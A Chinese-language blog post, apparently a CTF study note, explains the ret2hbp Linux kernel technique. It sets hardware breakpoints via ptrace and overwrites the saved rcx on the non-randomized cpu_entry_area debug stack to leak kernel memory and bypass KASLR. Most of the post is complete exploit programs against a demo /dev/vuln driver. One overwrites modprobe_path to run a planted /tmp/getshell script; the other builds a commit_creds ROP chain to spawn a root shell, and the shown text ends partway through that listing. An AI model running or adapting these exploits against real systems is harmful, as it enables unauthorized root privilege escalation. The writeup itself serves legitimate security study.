ret2hbp

本文最后更新于:2024年2月15日 下午

0x00:写在一切之前

终于磕磕绊绊到kernel了,感慨万千呜呜😭😭😭

希望能在这classic的美学中有所收获吧

起初是👴啃了两个礼拜A3👴的博客,想找点题练练手,就去做了SCTF2023那几道kernel题,于是便有了ret2hbp的学习手记

0x01:what is ret2hbp?

首先我们假设有一个very nice的任意地址写,有以下几个buff😀

  • 无限次数
  • 能长时间存在
  • 长度任意可控

看起来十分白给,but还没有泄露kalsr,所以一些常规的攻击手法8是很行的通呜呜

于是,我们首先要干的事情是leak一些好康的东西出来。

Linux x86-64体系结构下,处理特定中断和异常的过程中,CPU会跳转到相应的栈并记录当前的寄存器内容。这些栈被定位在一个固定的、未进行随机化的虚拟地址空间中,每种中断或异常都对应不同的栈。这些栈位于一个名为struct cpu_entry_area的结构体字段内。

关于struct cpu_entry_area的静态和非随机化位置,我们可以通过查看Linux内核的实现来了解其具体位置。具体来讲,内核通过get_cpu_entry_area()函数来访问这个结构体的位置。这个函数负责提供对应的地址,让系统能够定位到这个特定区域。

这边采用的是5.11.0版本的kernel

以下分析内容来源于此一种借助硬件断点的提权思路分析与演示 (veritas501.github.io)

1
2
3
4
5
6
7
noinstr struct cpu_entry_area *get_cpu_entry_area(int cpu)
{
unsigned long va = CPU_ENTRY_AREA_PER_CPU + cpu * CPU_ENTRY_AREA_SIZE;
BUILD_BUG_ON(sizeof(struct cpu_entry_area) % PAGE_SIZE != 0);

return (struct cpu_entry_area *) va;
}

笔者实在是懒,具体数值是多少👴也8想算了,直接gdb里看了

于是乎,在5.11.0中,0xfffffe0000001000便是这个结构体的固定地址

处理中断时所用的栈位于struct cpu_entry_area结构体内的estacks字段中。这个字段包含了用于中断栈表(Interrupt Stack Table,简称IST)的栈,为不同类型的中断和异常提供了专用的栈空间。通过这种方式,Linux确保在处理中断和异常时,能够安全地切换栈空间,同时保留当前的寄存器状态,这些栈被设计为位于一个预定的、非随机化的虚拟地址空间,以便于访问和管理。

1
2
3
4
5
6
#ifdef CONFIG_X86_64
/*
* Exception stacks used for IST entries with guard pages.
*/
struct cea_exception_stacks estacks;
#endif

struct cea_exception_stacks中针对每一种类型都有对应的栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define ESTACKS_MEMBERS(guardsize, optional_stack_size)		\
char DF_stack_guard[guardsize]; \
char DF_stack[EXCEPTION_STKSZ]; \
char NMI_stack_guard[guardsize]; \
char NMI_stack[EXCEPTION_STKSZ]; \
char DB_stack_guard[guardsize]; \
char DB_stack[EXCEPTION_STKSZ]; \
char MCE_stack_guard[guardsize]; \
char MCE_stack[EXCEPTION_STKSZ]; \
char VC_stack_guard[guardsize]; \
char VC_stack[optional_stack_size]; \
char VC2_stack_guard[guardsize]; \
char VC2_stack[optional_stack_size]; \
char IST_top_guard[guardsize]; \

/* The exception stacks' physical storage. No guard pages required */
struct exception_stacks {
ESTACKS_MEMBERS(0, 0)
};

这些栈主要用于在从用户模式切换到内核模式的过程中,以及在内核模式下处理异常情况。它们通过tss_setup_ist()函数注册到相应的中断栈表(IST)项中,以确保在遇到特定的中断或异常时,系统能够正确地使用这些预设的栈进行处理。

1
2
3
4
5
6
7
8
9
10
static inline void tss_setup_ist(struct tss_struct *tss)
{
/* Set up the per-CPU TSS IST stacks */
tss->x86_tss.ist[IST_INDEX_DF] = __this_cpu_ist_top_va(DF);
tss->x86_tss.ist[IST_INDEX_NMI] = __this_cpu_ist_top_va(NMI);
tss->x86_tss.ist[IST_INDEX_DB] = __this_cpu_ist_top_va(DB);
tss->x86_tss.ist[IST_INDEX_MCE] = __this_cpu_ist_top_va(MCE);
/* Only mapped when SEV-ES is active */
tss->x86_tss.ist[IST_INDEX_VC] = __this_cpu_ist_top_va(VC);

在x86-64架构下,中断栈表(IST,Interrupt Stack Table)包含了7个每个CPU特有的条目,用于处理包括双重故障(Double Fault)、非屏蔽中断(NMI)、调试(DEBUG)等在内的特定中断类型。

1
2
3
4
5
6
7
8
/*
* The index for the tss.ist[] array. The hardware limit is 7 entries.
*/
#define IST_INDEX_DF 0
#define IST_INDEX_NMI 1
#define IST_INDEX_DB 2
#define IST_INDEX_MCE 3
#define IST_INDEX_VC 4

在这5种特定中断中,由于在用户模式下利用ptrace设置硬件断点能够激活DEBUG中断,硬件断点的触发不仅可以在用户空间实现,也能在内核空间进行。这使得通过硬件断点引发的中断成为了后期应用中最优选项。

DEBUG对应的处理函数为asm_exc_debug()

1
2
3
4
5
6
static const __initconst struct idt_data def_idts[] = {
.........
#endif
INTG(X86_TRAP_DB, asm_exc_debug),
.........
};

具体实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DEFINE_IDTENTRY_DEBUG(exc_debug)
{
exc_debug_kernel(regs, debug_read_clear_dr6());
}

/* User entry, runs on regular task stack */
DEFINE_IDTENTRY_DEBUG_USER(exc_debug)
{
exc_debug_user(regs, debug_read_clear_dr6());
}
#else
/* 32 bit does not have separate entry points. */
DEFINE_IDTENTRY_RAW(exc_debug)
{
unsigned long dr6 = debug_read_clear_dr6();

if (user_mode(regs))
exc_debug_user(regs, dr6);
else
exc_debug_kernel(regs, dr6);
}

然后就可以愉快的写个demo啦

首先便是设置一个已知内存地址的硬件断点

1
2
3
4
5
6
7
8
9
10
11
12
13
void create_hbp(pid_t pid, void* addr)     
{
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(pid,9);
exit(1);
}
}

ptrace跟踪的子进程可以通过以下两种途径激活硬件断点:当在用户空间触发硬件断点时,将会调用exc_debug_user()函数进行处理;相反,若是在执行类似uname()这样的函数,其中涉及copy_from/to_user()操作时触发硬件断点,则会调用exc_debug_kernel()函数进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SYSCALL_DEFINE1(uname, struct old_utsname __user *, name)
{
struct old_utsname tmp;

if (!name)
return -EFAULT;

down_read(&uts_sem);
memcpy(&tmp, utsname(), sizeof(tmp));
up_read(&uts_sem);
if (copy_to_user(name, &tmp, sizeof(tmp)))
return -EFAULT;

if (override_release(name->release, sizeof(name->release)))
return -EFAULT;
if (override_architecture(name))
return -EFAULT;
return 0;
}

组合一下(👴本来想用内联汇编中的syscall_uname,这样就能很清楚的看寄存器的值,结果发现这样好像断不住呜呜)

PS:由于cpu_entry_area是per-cpu的,所以要绑个CPU,调试的时候换绑不同的CPU发现DEBUG Exception stack完全不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/keyctl.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stddef.h>
#include <signal.h>
#include <stdint.h>
#include <sys/utsname.h>

char data[0x10];

void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}


void create_hbp(pid_t pid, void* addr)
{
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(pid,9);
exit(1);
}
}

int main()
{
pid_t pid_hbp;

bind_cpu(0);

pid_hbp = fork();
if (!pid_hbp)
{
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
raise(SIGSTOP);
// __asm__(
// "mov r15, 0x11111111;"
// "mov r14, 0x22222222;"
// "mov r13, 0x33333333;"
// "mov r12, 0x44444444;"
// "mov rbp, 0x55555555;"
// "mov rbx, 0x66666666;"
// "mov r11, 0x77777777;"
// "mov r10, 0x88888888;"
// "mov r9, 0x99999999;"
// "mov r8, 0xaaaaaaaa;"
// "mov rax, 0xbbbbbbbb;"
// "mov rcx, 0xcccccccc;"
// "mov rdx, 0xdddddddd;"
// "mov rsi, data;"
// "mov rdi, [rsi];"
// // "mov qword ptr [rdi], 1;"
// "mov rax, 63;"
// "syscall;"
// );
uname((void *)data);

exit(1);
}

waitpid(pid_hbp,0,0);
create_hbp(pid_hbp, data);

ptrace(PTRACE_CONT,pid_hbp,0,0);
waitpid(pid_hbp,0,0);

}

打个断点在exc_debug_kernel上(👴不知道为什么👴不能用b exc_debug_kernel直接break,只能用源码+line才能break)

运行demo,观看寄存器发现确实ip断在copy_to_user中,在这个上下文中,di寄存器作为目标用户空间地址,而si寄存器则代表源自内核空间的地址,数据从si拷贝至di。拷贝操作以每次8字节的方式逐步执行,cx寄存器记录了剩余需要拷贝的次数。值得注意的是,在硬件断点触发时,rep movs指令已经执行了一轮拷贝,即已经处理了8字节的数据。

而这个regs参数,正处于struct cpu_entry_area中的 DEBUG Exception stack中:

因此,regs.cx在未知内核地址空间布局随机化(KASLR)的情况下,成为了一个极佳的攻击目标。

进一步探讨uname函数调用的情况,我们发现copy_to_user函数操作的数据源自一个位于内核栈上的临时对象:

copy_to_user操作进行时,如果另一个进程通过任意地址写在被攻击(victim)进程的硬件断点中断处理期间更改了regs.cx的值,当中断处理结束,执行流重新进入copy_to_user时,由于cx寄存器的值已被篡改,将会导致向用户态缓冲区拷贝额外的内容。这便有了leak dirty data的机会惹。

相同的,既然在copy_to_user的时候可以hack rcx,那么在copy_from_user的时候同样也可以,增加复制长度,将构造好的数据出传入进去。p0 blog里就选用了一个prctl的子函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
static int prctl_set_mm_map(int opt, const void __user *addr, unsigned long data_size)
{
struct prctl_mm_map prctl_map = { .exe_fd = (u32)-1, };
unsigned long user_auxv[AT_VECTOR_SIZE];
struct mm_struct *mm = current->mm;
int error;

BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
BUILD_BUG_ON(sizeof(struct prctl_mm_map) > 256);

if (opt == PR_SET_MM_MAP_SIZE)
return put_user((unsigned int)sizeof(prctl_map),
(unsigned int __user *)addr);

if (data_size != sizeof(prctl_map))
return -EINVAL;

if (copy_from_user(&prctl_map, addr, sizeof(prctl_map)))
return -EFAULT;

error = validate_prctl_map_addr(&prctl_map);
if (error)
return error;

if (prctl_map.auxv_size) {
/*
* Someone is trying to cheat the auxv vector.
*/
if (!prctl_map.auxv ||
prctl_map.auxv_size > sizeof(mm->saved_auxv))
return -EINVAL;

memset(user_auxv, 0, sizeof(user_auxv));
if (copy_from_user(user_auxv,
(const void __user *)prctl_map.auxv,
prctl_map.auxv_size))
return -EFAULT;

/* Last entry must be AT_NULL as specification requires */
user_auxv[AT_VECTOR_SIZE - 2] = AT_NULL;
user_auxv[AT_VECTOR_SIZE - 1] = AT_NULL;
}

if (prctl_map.exe_fd != (u32)-1) {
/*
* Check if the current user is checkpoint/restore capable.
* At the time of this writing, it checks for CAP_SYS_ADMIN
* or CAP_CHECKPOINT_RESTORE.
* Note that a user with access to ptrace can masquerade an
* arbitrary program as any executable, even setuid ones.
* This may have implications in the tomoyo subsystem.
*/
if (!checkpoint_restore_ns_capable(current_user_ns()))
return -EPERM;

error = prctl_set_mm_exe_file(mm, prctl_map.exe_fd);
if (error)
return error;
}

/*
* arg_lock protects concurent updates but we still need mmap_lock for
* read to exclude races with sys_brk.
*/
mmap_read_lock(mm);

/*
* We don't validate if these members are pointing to
* real present VMAs because application may have correspond
* VMAs already unmapped and kernel uses these members for statistics
* output in procfs mostly, except
*
* - @start_brk/@brk which are used in do_brk_flags but kernel lookups
* for VMAs when updating these memvers so anything wrong written
* here cause kernel to swear at userspace program but won't lead
* to any problem in kernel itself
*/

spin_lock(&mm->arg_lock);
mm->start_code = prctl_map.start_code;
mm->end_code = prctl_map.end_code;
mm->start_data = prctl_map.start_data;
mm->end_data = prctl_map.end_data;
mm->start_brk = prctl_map.start_brk;
mm->brk = prctl_map.brk;
mm->start_stack = prctl_map.start_stack;
mm->arg_start = prctl_map.arg_start;
mm->arg_end = prctl_map.arg_end;
mm->env_start = prctl_map.env_start;
mm->env_end = prctl_map.env_end;
spin_unlock(&mm->arg_lock);

/*
* Note this update of @saved_auxv is lockless thus
* if someone reads this member in procfs while we're
* updating -- it may get partly updated results. It's
* known and acceptable trade off: we leave it as is to
* not introduce additional locks here making the kernel
* more complex.
*/
if (prctl_map.auxv_size)
memcpy(mm->saved_auxv, user_auxv, sizeof(user_auxv));

mmap_read_unlock(mm);
return 0;
}

HOWEVER

ret2hbp之所以能够利用,是由于cpu_entry_area这块2T的内存并没有被随机化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
========================================================================================================================
Start addr | Offset | End addr | Size | VM area description
========================================================================================================================
| | | |
0000000000000000 | 0 | 00007fffffffffff | 128 TB | user-space virtual memory, different per mm
__________________|____________|__________________|_________|___________________________________________________________
| | | |
0000800000000000 | +128 TB | ffff7fffffffffff | ~16M TB | ... huge, almost 64 bits wide hole of non-canonical
| | | | virtual memory addresses up to the -128 TB
| | | | starting offset of kernel mappings.
__________________|____________|__________________|_________|___________________________________________________________
|
| Kernel-space virtual memory, shared between all processes:
____________________________________________________________|___________________________________________________________
| | | |
ffff800000000000 | -128 TB | ffff87ffffffffff | 8 TB | ... guard hole, also reserved for hypervisor
ffff880000000000 | -120 TB | ffff887fffffffff | 0.5 TB | LDT remap for PTI
ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
ffffc88000000000 | -55.5 TB | ffffc8ffffffffff | 0.5 TB | ... unused hole
ffffc90000000000 | -55 TB | ffffe8ffffffffff | 32 TB | vmalloc/ioremap space (vmalloc_base)
ffffe90000000000 | -23 TB | ffffe9ffffffffff | 1 TB | ... unused hole
ffffea0000000000 | -22 TB | ffffeaffffffffff | 1 TB | virtual memory map (vmemmap_base)
ffffeb0000000000 | -21 TB | ffffebffffffffff | 1 TB | ... unused hole
ffffec0000000000 | -20 TB | fffffbffffffffff | 16 TB | KASAN shadow memory
__________________|____________|__________________|_________|____________________________________________________________
|
| Identical layout to the 56-bit one from here on:
____________________________________________________________|____________________________________________________________
| | | |
fffffc0000000000 | -4 TB | fffffdffffffffff | 2 TB | ... unused hole
| | | | vaddr_end for KASLR
fffffe0000000000 | -2 TB | fffffe7fffffffff | 0.5 TB | cpu_entry_area mapping
fffffe8000000000 | -1.5 TB | fffffeffffffffff | 0.5 TB | ... unused hole
ffffff0000000000 | -1 TB | ffffff7fffffffff | 0.5 TB | %esp fixup stacks
ffffff8000000000 | -512 GB | ffffffeeffffffff | 444 GB | ... unused hole
ffffffef00000000 | -68 GB | fffffffeffffffff | 64 GB | EFI region mapping space
ffffffff00000000 | -4 GB | ffffffff7fffffff | 2 GB | ... unused hole
ffffffff80000000 | -2 GB | ffffffff9fffffff | 512 MB | kernel text mapping, mapped to physical address 0
ffffffff80000000 |-2048 MB | | |
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
ffffffffff000000 | -16 MB | | |
FIXADDR_START | ~-11 MB | ffffffffff5fffff | ~0.5 MB | kernel-internal fixmap range, variable size and offset
ffffffffff600000 | -10 MB | ffffffffff600fff | 4 kB | legacy vsyscall ABI
ffffffffffe00000 | -2 MB | ffffffffffffffff | 2 MB | ... unused hole
__________________|____________|__________________|_________|___________________________________________________________

but在6.2及后续版本中,这块区域也被加上了一个偏移,通过get_cpu_entry_area可以很清楚的看到这一点

0x02:好多好多的例题

demo例题

分析

十分白给的无限次数任意地址写8字节

直接按照上面分析的思路写即可,泄露kaslr之后用modprobe完成利用

FINAL EXP modprobe解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/keyctl.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stddef.h>
#include <signal.h>
#include <stdint.h>
#include <sys/utsname.h>

#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x1234000
#define MMAP_SIZE 0x2000

size_t kernel_offset;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t modprobe_path = 0xffffffff82e8b920;
int dev_fd;
int pipe_fd[2];
pid_t hbp_pid;
char * mmap_addr;

typedef struct
{
uint64_t addr;
uint64_t vul;
}vuln;

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

void arb_write(uint64_t addr, uint64_t vul)
{
vuln note;
note.addr = addr;
note.vul = vul;
ioctl(dev_fd ,0 , & note);
}

void create_hbp(pid_t pid, void* addr)
{
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(hbp_pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(hbp_pid,9);
exit(1);
}
}


void change_rcx()
{
bind_cpu(1); /*这里不绑核问题也不大🤔*/
puts("[+] write cpu_entry_area DB_STACK -> rcx");
while (1)
{
arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x80);
}

}

void hack_hbp()
{
bind_cpu(0);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);

struct utsname* uts = (struct utsname*)MMAP_ADDR;
int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

while (1)
{
raise(SIGSTOP);
uname(uts);
if (((uint64_t*)uts)[oob_idx])
{
puts("[+] OOB Read Stack Data Successfully");
write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
break;
}
}
}

int main()
{
size_t leak;
char data[0x40] = {0};

save_status();

dev_fd = open("/dev/vuln",O_RDONLY);
if (dev_fd < 0)
{
err_exit("open device failed!");
}

mmap_addr = mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if(!mmap_addr)
{
err_exit("mmap failed!");
}


pipe(pipe_fd);
pid_t pid1, pid2;

puts("[+] fork a process to trigger hbp");
pid1 = fork();
if (!pid1)
{
hack_hbp();
exit(0);

}else if (pid1 < 0){
err_exit("fork pid1 failed!");
}else{
waitpid(pid1, NULL ,NULL);
}

pid2 = fork();
if (!pid2)
{
change_rcx();
exit(0);

}else if (pid2 < 0){
err_exit("fork pid1 failed!");
}

create_hbp(pid1, MMAP_ADDR);
struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
while (1)
{
if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
err_exit("ptrace PTRACE_CONT");
waitpid(pid1, NULL, NULL);

int res = poll(&fds, 1, 0);
if (res > 0 && (fds.revents & POLLIN))
{
read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
break;
}
}

// waitpid(pid2, NULL, NULL);

print_binary(MMAP_ADDR+sizeof(struct utsname), 0x100);
memcpy(&leak, MMAP_ADDR+sizeof(struct utsname)+0X20, 8);
kernel_offset = leak - 0xffffffff810e0b32;
printf("[*] leak is 0x%lx\n", leak);
printf("[*] kernel_offset is 0x%lx\n", kernel_offset);

modprobe_path = modprobe_path + kernel_offset;
arb_write(modprobe_path, 0x7465672f706d742f);
arb_write(modprobe_path + 8, 0x6c6c656873);

puts("# make fake file magic not found");
system("echo '#!/bin/sh\nchmod 777 /flag'>/tmp/getshell");
system("chmod +x /tmp/getshell");

system("echo -e '\\xff\\xff\\xff\\xff'>/tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");

puts("# get flag");
int flag_fd = open("/flag",O_RDONLY);
if (flag_fd < 0)
{
err_exit("open flag failed!");
}
read(flag_fd, data, 0x30);
printf("[*] flag is %s\n",data);

return 0;
}

rop链解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/keyctl.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stddef.h>
#include <signal.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <syscall.h>
#include <sys/prctl.h>

#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x1234000
#define MMAP_SIZE 0x2000

size_t canary;
size_t kernel_offset;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t modprobe_path = 0xffffffff82e8b920;
size_t commit_creds = 0xffffffff810f8240;
size_t init_cred = 0xffffffff82e8a820;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff820010b0 + 54;
size_t pop_rdi = 0xffffffff81852a3d;
size_t ret = 0xffffffff81000905;
int dev_fd;
int pipe_fd[2];
int rop_pipe[2];
pid_t hbp_pid;
char * mmap_addr;
// [+] commit_creds--->0xffffffff810f8240
// [+] init_cred--->0xffffffff82e8a820
// [+] swapgs_restore_regs_and_return_to_usermode--->0xffffffff820010b0


typedef struct
{
uint64_t addr;
uint64_t vul;
}vuln;

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

void arb_write(uint64_t addr, uint64_t vul)
{
vuln note;
note.addr = addr;
note.vul = vul;
ioctl(dev_fd ,0 , & note);
}

void create_hbp(pid_t pid, void* addr)
{
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(hbp_pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(hbp_pid,9);
exit(1);
}
}


void change_rcx()
{
bind_cpu(1);
puts("[+] write cpu_entry_area DB_STACK -> rcx");
while (1)
{
arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x10);
}

}

void hack_hbp()
{
bind_cpu(0);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);

struct utsname* uts = (struct utsname*)MMAP_ADDR;
int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

int step = 0;

while (1)
{
raise(SIGSTOP);
switch (step)
{
case 0:
uname(uts);
if (((uint64_t*)uts)[oob_idx])
{
puts("[+] OOB Read Stack Data Successfully");
